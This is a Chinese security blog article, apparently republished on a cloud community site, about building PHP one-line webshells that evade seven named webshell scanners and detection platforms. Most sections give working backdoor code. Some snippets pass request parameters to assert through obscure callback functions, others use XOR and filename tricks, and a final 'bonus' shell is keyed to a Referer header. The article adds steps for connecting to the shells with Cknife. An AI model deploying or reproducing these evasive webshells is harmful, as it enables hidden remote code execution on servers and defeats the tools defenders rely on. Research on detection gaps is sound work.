前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >php 一句话木马检测绕过研究

php 一句话木马检测绕过研究

作者头像
信安之路
发布2018-08-08 17:03:25
5.2K0
发布2018-08-08 17:03:25
举报
文章被收录于专栏:信安之路

本文作者:LandGrey

一般的,利用能够执行系统命令、加载代码的函数,或者组合一些普通函数,完成一些高级间谍功能的网站后门的脚本,叫做 Webshell。

本篇文章主要探讨关于 PHP 语言的 Webshell 检测工具和平台的绕过方法,实现能够绕过以下表格中 7 个主流(基本代表安全行业内 PHP Webshell检测的一流水平)专业工具和平台检测的 PHP Webshell,构造出零提示、无警告、无法被检测到的一句话木马后门。

1、网站安全狗网马查杀

http://download.safedog.cn/download/software/safedogwzApache.exe

2、D盾 Web 查杀

http://www.d99net.net/down/WebShellKill_V2.0.9.zip

3 深信服WebShellKillerTool

http://edr.sangfor.com.cn/tool/WebShellKillerTool.zip

4 BugScaner killwebshell

http://tools.bugscaner.com/killwebshell/

5 河马专业版查杀Webshell

http://n.shellpub.com/

6 OpenRASP WEBDIR+ 检测引擎

https://scanner.baidu.com

7 深度学习模型检测 PHP Webshell

http://webshell.cdxy.me/

研究期间做了大量的测试,限于篇幅和文章效果,在不影响阅读体验的情况下,部分测试过程和结果略去了。

0x01:Webshell 后门

目前来讲,我把用纯 php 代码实现的 Webshell 后门(以下统称为"木马"),主要分为以下几类:

单/少功能木马

能完成写入文件、列目录、查看文件、执行一些系统命令等少量功能的 Webshell。

逻辑木马

利用系统逻辑漏洞或构造特殊触发条件,绕过访问控制或执行特殊功能的 Webshell。

一句话木马

可以在目标服务器上执行 php 代码,并和一些客户端(如菜刀、Cknife)进行交互的 Webshell。

多功能木马

根据 PHP 语法,编写较多代码,并在服务器上执行,完成大量间谍功能的 Webshell (大马)。

其中,一句话木马的原理如下图:

客户端将 PHP 代码使用特殊参数名(密码),发送给放置在服务端上的一句话木马文件; 一句话木马脚本则在服务器上执行发来的 PHP 代码,然后将执行结果回传给客户端,客户端将结果解析并展示给操作者。

0x02:查杀现状研究

根据 0x01 的一句话木马原理,我们知道必须要在服务器上执行客户端发来的字符串形式的 PHP 代码。

脚本要将字符串(或文件流)当作 PHP 代码执行,目前主要会使用以下函数:

eval : PHP 4, PHP 5, PHP 7+ 均可用,接受一个参数,将字符串作为 PHP 代码执行

assert : PHP 4, PHP 5, PHP 7.2 以下均可用,一般接受一个参数,php 5.4.8 版本后可以接受两个参数

正则匹配类 : preg_replace/mb_ereg_replace/preg_filter 等

文件包含类 : include/include_once/require/require_once/file_get_contents 等`

本文为了好说明问题,统一将上面表中可以将字符串当作代码执行的函数临时起个名字,叫"函数机"。

不幸的是,但凡直接出现函数机,即便不是进行恶意操作,部分查杀软件也会产生警告,达不到我们的要求。

比如用 D 盾检测如下脚本:

然后,就需要方法来隐藏上面的函数机。但是随着攻防对抗的升级,较传统的字符串拆分、变形、进制转换、运算变换等躲避 Webshell 查杀的效果已经大大降低。

所以,经过调研和比较,本文选择了通过可以携带参数的 PHP 回调函数来创造后门的技术,来实现绕过检测软件的一句话木马后门。

拿出来曾经披露过的一个回调函数后门函数 "register_shutdown_function" 做测试,发现虽然 D 盾、深信服的工具没有发觉到 "register_shutdown_function" 加 "assert" 的变形,但是安全狗还是察觉到了。

代码语言:javascript
复制
 <?php$password = "LandGrey";$ch = explode(".","hello.ass.world.er.t");register_shutdown_function($ch[1].$ch[3].$ch[4], $_REQUEST[$password]);?>

所以,有理由推测,有一个恶意函数库,凡是网络上披露过的可用作后门的回调函数,都可能在其中,而且很大概率上会被检测出来。

经过收集,发现网络上 50 多个已披露出来的可用作后门的回调函数和类中,有部分函数仍然可以用来绕过 Webshell 查杀软件。

0x03:查找可做后门的回调函数

去 PHP 官网:

http://php.net/manual/zh/

查阅函数手册,查找可以用作后门的 PHP 回调函数,根据实际经验,利用下面五个关键词,能提高查找到拥有后门潜质的 PHP 回调函数的效率:

关键词一:callable

关键词二:mixed $options

关键词三:handler

关键词四:callback

关键词五:invoke

除此之外,PHP 扩展中也有些合适的回调函数,不过可能通用性不强,本文不做讨论。

0x04:绕过传统检测

先拿披露过的 array_udiff_assoc() 函数构造一个免杀一句话。

函数定义:

代码语言:javascript
复制
 array array_udiff_assoc ( array $array1 , array $array2 [, array $... ], callable $value_compare_func )

根据定义,可以构造代码:

代码语言:javascript
复制
 array_udiff_assoc(array("phpinfo();"), array(1), "assert");

继续构造适合客户端连接的一句话木马:

代码语言:javascript
复制
 <?php/*** Noticed: (PHP 5 >= 5.4.0, PHP 7)**/$password = "LandGrey";array_udiff_assoc(array($_REQUEST[$password]), array(1), "assert");?>

浏览器访问

http://127.0.0.1/shell/test/test.php?LandGrey=phpinfo();

Cknife 添加目标 http://127.0.0.1/shell/test/test.php 密码: LandGrey,可成功连接。

用查杀工具检测:只有故意放置的一个 eval 一句话被查出来。

bugscaner 在线查杀,通过

使用河马正式版在线查杀,通过

至此,我们已经绕过安全狗、D 盾和深信服的客户端 Webshell 查杀和 bugscaner、河马正式版的在线查杀

可以发现,只需找一个网络上没有"频繁出现"或"没有出现过"回调函数,稍加变形,即可绕过传统技术的检测。

再给一个 "array_intersect_ukey" 反调函数的免杀示例:

代码语言:javascript
复制
 <?php/** * Noticed: (PHP 5 >= 5.4.0, PHP 7) * */$password = "LandGrey";$ch = explode(".","hello.ass.world.er.t");array_intersect_ukey(array($_REQUEST[$password] => 1), array(1), $ch[1].$ch[3].$ch[4]);?>

0x05:突破 OpenRASP WebShell 沙盒检测

接着用 OpenRASP 团队的 WEBDIR+ 在线查杀平台,被查出来是后门

经过反复测试和观察,OpenRASP 团队的 Webshell 检测使用了动态监测技术,原理上应该是将脚本放在安全沙盒中执行,分析脚本行为、尝试触发脚本的后门动作等。不管混淆的脚本多厉害,使用了多巧妙的函数,试执行时基本都会被检测出来。

刚开始时,发现使用PHP 脚本加密技术,可以有效绕过 OpenRASP 团队的 WEBDIR+ Webshell 检测服务。但加密动作太大,会被D盾或深信服的Webshell 查杀软件警告,不仅不能实现零警告和无提示,人眼一看就会发现有问题,所以放弃了加密脚本这条路。

然后就陷入了一段时间的思索,这里给出一种基于免杀的回调函数,利用信息不对称来绕过 OpenRASP WEBDIR+ 平台检测的技术:

1、利用重命名前后的脚本名不同

在检测几次后,观察发现 WEBDIR+ 把上传文件都按照文件哈希值重名了

所示,猜测该平台是先将上传脚本重命名,然后再在沙盒中试执行检测 Webshell。那么就可以利用一句话脚本文件名在重命名前后的差别,完成绕过。一段核心的绕过检测的木马代码示例如下:

代码语言:javascript
复制
 <?php$password = "LandGrey";${"LandGrey"} = substr(__FILE__,-5,-4) . "class";$f = $LandGrey ^ hex2bin("12101f040107");array_intersect_uassoc (array($_REQUEST[$password] => ""), array(1), $f);?>

脚本名必须是 "***s.php" 的名字形式,即最后一位字符要为 "s",然后用 "sclass" 和 hex2bin("12101f040107") 的值按位异或,得到 "assert",从而利用回调函数,执行 PHP 代码。

上传到 WEBDIR+ 系统后,脚本被重命名,"试执行时自然无法复现木马行为",从而绕过了检测。这种方式有一种明显的要求,就是我们能够准确预知或控制脚本名的最后一位字符。

如果写成通用型脚本,根据文件名的最后一位字符,自动选择做异或的字符串,得到 "assert",代码示例如下:

代码语言:javascript
复制
 <?php$password = "LandGrey";$key = substr(__FILE__,-5,-4);${"LandGrey"} =  $key."Land!";$trick = array(    "0" => "51", "1" => "50", "2" => "53", "3" => "52", "4" => "55", "5" => "54", "6" => "57", "7" => "56", "8" => "59",    "9" => "58", "a" => "00", "b" => "03", "c" => "02", "d" => "05", "e" => "04", "f" => "07", "g" => "06", "h" => "09",    "i" => "08", "j" => "0b", "k" => "0a", "l" => "0d", "m" => "0c", "n" => "0f", "o" => "0e", "p" => "11", "q" => "10",    "r" => "13", "s" => "12", "t" => "15", "u" => "14", "v" => "17", "w" => "16", "x" => "19", "y" => "18", "z" => "1b",    "A" => "20", "B" => "23", "C" => "22", "D" => "25", "E" => "24", "F" => "27", "G" => "26", "H" => "29", "I" => "28",    "J" => "2b", "K" => "2a", "L" => "2d", "M" => "2c", "N" => "2f", "O" => "2e", "P" => "31", "Q" => "30", "R" => "33",    "S" => "32", "T" => "35", "U" => "34", "V" => "37", "W" => "36", "X" => "39", "Y" => "38", "Z" => "3b",);$f = pack("H*", $trick[$key]."3f120b1655") ^ $key."Land!";array_intersect_uassoc (array($_REQUEST[$password] => ""), array(1), $f);?>

就如下图所示,会被查杀:

将脚本命名为 scanner.php, 硬编码脚本最后一位字符为 "r",就不会被平台检测到,证明了我们原始的想法和对平台检测原理的部分推测:

代码语言:javascript
复制
 <?php$password = "LandGrey";$key = substr(__FILE__,-5,-4);${"LandGrey"} =  $key."Land!";$f = pack("H*", "13"."3f120b1655") ^ $LandGrey;array_intersect_uassoc (array($_REQUEST[$password] => ""), array(1), $f);?

2、利用检测平台的信息缺失

接着猜想:当脚本在沙盒中运行时,如果得不到可以让脚本正常执行的关键信息,平台就无法查杀 Webshell;而我们连接时,带上关键信息,就可以正常使用一句话木马后门,从而绕过查杀。

例如,利用下面的一句话,请求时,Cknife 携带请求头 Accept: r,密码输入 "LandGrey",即可成功连接一句话木马:

代码语言:javascript
复制
 <?php$password = "LandGrey";$key = substr(__FILE__,-5,-4);${"LandGrey"} = $_SERVER["HTTP_ACCEPT"]."Land!";$f = pack("H*", "13"."3f120b1655") ^ $LandGrey;array_intersect_uassoc(array($_REQUEST[$password] => ""), array(1), $f);?>

3、其它信息的差异

在针对某个特别的目标测试时,可以利用目标的特殊信息构造信息的差异,实现 Webshell 绕过。

如目标 IP 地址的唯一性、域名、特殊 Cookie、Session 字段和值、$_SERVER 变量中可被控制的值,甚至是主机 Web 服务的根目录、操作系统等一些差别,发挥空间很大。

0x06:绕过深度学习技术的检测

当用 0x05 "1、利用重命名前后的脚本名不同"中的脚本来测试时,被深度学习模型技术检测 Webshell 给查杀了。

但是基于免杀的回调函数,利用 0x05 给出的"2、利用检测平台的信息缺失"给出的一句话,仍然可以突破 webshell.cdxy.me 平台的 Webshell 检测:

为了避免偶然,换个免杀函数,再测试一次。请求时设置 Cookie 值为 Cookie: set-domain-name=ass;,以下示例脚本代码也可绕过该平台的查杀,当然,以上提到的其它工具和平台也可以绕过。

代码语言:javascript
复制
 <?php/** *  Noticed: (PHP 5 >= 5.4.0, PHP 7) * */$password = "LandGrey";$ch = $_COOKIE["set-domain-name"];array_intersect_ukey(array($_REQUEST[$password] => 1), array(1), $ch."ert");?>

小插曲

在测试期间,还对河马机器学习查杀引擎 http://ml.shellpub.com 进行过测试,发现突破不了。测试中,发现连下面的正常语句都会被杀:

代码语言:javascript
复制
 <?phparray(1)?>

所以就将 Wordpress 的源码上传,测试下系统的可用性。1774 个文件,发现了 1494 个疑似后门。系统的测试结果不能作为判断标准,所以正文中略过了对该平台的测试。

0x07: 彩蛋

最后再给出一个可以绕过当前市面上几乎所有 Webshell 查杀的 PHP 一句话木马脚本。请求时,设置 Referer 头,后面以 "ass****" 结尾即可,比如:

Referer: http://www.target.com/ass.php

在使用 Cknife 时,注意软件实现有缺陷,会从第二个 ":" 处截断,可改成:

Referer: http%3a//www.target.com/ass.php

代码语言:javascript
复制
 <?php/** * Noticed: (PHP 5 >= 5.3.0, PHP 7) * */$password = "LandGrey";$wx = substr($_SERVER["HTTP_REFERER"],-7,-4);forward_static_call_array($wx."ert", array($_REQUEST[$password]));?>

0x08: 后记

文章的 "0x04: 绕过传统检测"研究结果表明:对于基于陌生的回调函数后门构造的一句话后门脚本本身,传统的基于特征、正则表达式和黑名单制的查杀技术,已经失去了对抗 PHP Webshell 检测的意义。

"0x05: 突破 OpenRASP WebShell 沙盒检测"、"0x06: 绕过深度学习技术的检测"和"小插曲"部分的研究结果表名:新型的沙盒技术、深度学习、机器学习查杀平台还不够成熟和稳定,虽然在检测未知的一句话木马方面表现领先于传统检测方式,但是经过研究,还是可以构造出绕过查杀的 PHP 一句话木马脚本。

文章以上研究都是对 PHP 一句话木马脚本本身的免杀研究。文章发布后,以上多个回调函数后门估计很快会被加入黑名单。

要注意对于实际应用中,脚本本身免杀只是第一步,WAF 和查杀软件可能会根据脚本的创建日期、文件大小、通信流量特征等多个方面,动态、综合的判断脚本是否为恶意 Webshell,本文并未涉及。

0x09: 参考文档

http://php.net/manual

https://www.leavesongs.com/PENETRATION/php-callback-backdoor.html

https://joychou.org/web/webshell.html

http://www.likesec.com/2017/12/08/webshell/

http://blog.safedog.cn/?p=68

http://www.freebuf.com/articles/web/155891.html

http://www.freebuf.com/articles/web/9396.html

https://blog.csdn.net/xysoul/article/details/49791993

https://cloud.tencent.com/developer/article/1097506

http://www.91ri.org/12824.html

http://www.3years.cc/index.php/archives/18/

http://www.cnblogs.com/LittleHann/p/3522990.html

https://habrahabr.ru/post/215139/

https://stackoverflow.com/questions/14674834/php-convert-string-to-hex-and-hex-to-string

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2018-05-11,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 信安之路 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x01:Webshell 后门
  • 0x02:查杀现状研究
  • 0x03:查找可做后门的回调函数
  • 0x04:绕过传统检测
  • 0x05:突破 OpenRASP WebShell 沙盒检测
  • 0x06:绕过深度学习技术的检测
  • 小插曲
  • 0x07: 彩蛋
  • 0x08: 后记
  • 0x09: 参考文档
相关产品与服务
云服务器
云服务器(Cloud Virtual Machine,CVM)提供安全可靠的弹性计算服务。 您可以实时扩展或缩减计算资源,适应变化的业务需求,并只需按实际使用的资源计费。使用 CVM 可以极大降低您的软硬件采购成本,简化 IT 运维工作。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档